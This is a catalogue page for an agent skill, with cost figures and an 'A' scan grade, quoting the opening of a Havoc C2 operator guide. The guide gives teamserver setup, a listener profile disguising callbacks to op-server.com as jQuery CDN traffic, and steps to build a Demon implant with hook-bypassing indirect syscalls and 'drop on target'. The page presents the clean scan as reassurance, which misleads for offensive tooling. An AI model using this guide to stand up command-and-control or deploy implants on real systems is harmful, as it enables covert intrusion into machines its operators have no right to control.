Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill havocgit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/havoc)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/havoc"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/havoc/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/havoc"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/havoc.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00077 | $0.01712 |
| Opus 5 | $0.00039 | $0.00856 |
| Sonnet 5 | $0.00015 | $0.00342 |
| Haiku 4.5 | $0.00008 | $0.00171 |
Grade A, and why
havoc scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 157 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Havoc C2 Operator Skill
Havoc (C5pider) is an open-source, modern C2 framework released 2023. The Demon agent ships with hardened OPSEC defaults (indirect syscalls, sleep obfuscation, no static strings) that make it harder to detect than older OSS frameworks.
Setup
# Build from source (Linux)
git clone https://github.com/HavocFramework/Havoc
cd Havoc
make ts-build
make client-build
make server-build
# Or run via Docker
docker compose up -d
Architecture
┌────────────┐ ┌─────────────┐ ┌──────────┐
│ Operator │ <───> │ Teamserver │ <───> │ Demon │
│ (Client) │ TS │ (Go + gRPC) │ HTTP │ (Implant)│
└────────────┘ └─────────────┘ └──────────┘
- Teamserver: Listens on operator port (40056 default) for clients; HTTP listener for demons.
- Client: Qt-based desktop UI (Material Dark).
- Demon: Windows x86_64/x86 implant in C with embedded sleep obfuscation + indirect syscalls.
Configure a profile
Havoc uses a profiles.yaotl HCL-like config. Example for a low-OPSEC HTTP listener:
Teamserver {
Host = "0.0.0.0"
Port = 40056
Build {
Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "op-alice" { Password = "strongpassword" }
}
Listeners {
Http {
Name = "primary-http"
Hosts = ["op-server.com"]
HostBind = "0.0.0.0"
PortBind = 443
PortConn = 443
Secure = true
HostRotation = "round-robin"
Uris = ["/jquery-3.3.1.min.js", "/jquery-3.3.2.min.js"] # blend with CDN traffic
Headers = ["X-Forwarded-For: 1.2.3.4"]
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
}
}
Then ./havoc server --profile profiles.yaotl -v.
Build a Demon
In the client UI:
- Attack → Payload → Demon
- Listener: select your HTTP listener
- Arch: x64 / x86
- Format: Windows Exe / Windows DLL / Shellcode
- Sleep Technique: Ekko (queue user APC ROP chain) / Zilean (timer-based) / FOLIAGE (ROP-based)
- Indirect Syscalls: Enable (resolves syscalls at runtime, bypasses static SSN hooks)
- Save → drop on target
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 157 lines · 77 tokens per session scan A 4d7602fb4b62
havoc is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 77 tokens to every session and 1,712 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
cis-aws-foundations-6.5
Ensure the default security group of every VPC restricts all traffic.
cis-aws-foundations-4.3
Ensure AWS Config is enabled in all regions.
cis-aws-foundations-2.1.3
Ensure Organizations management account is not used for workloads.
cis-aws-foundations-2.5
Ensure MFA is enabled for the 'root' user account.
cis-aws-foundations-2.7
Eliminate use of the 'root' user for administrative and daily tasks.
cis-aws-foundations-4.4
Ensure that server access logging is enabled on the CloudTrail S3 bucket.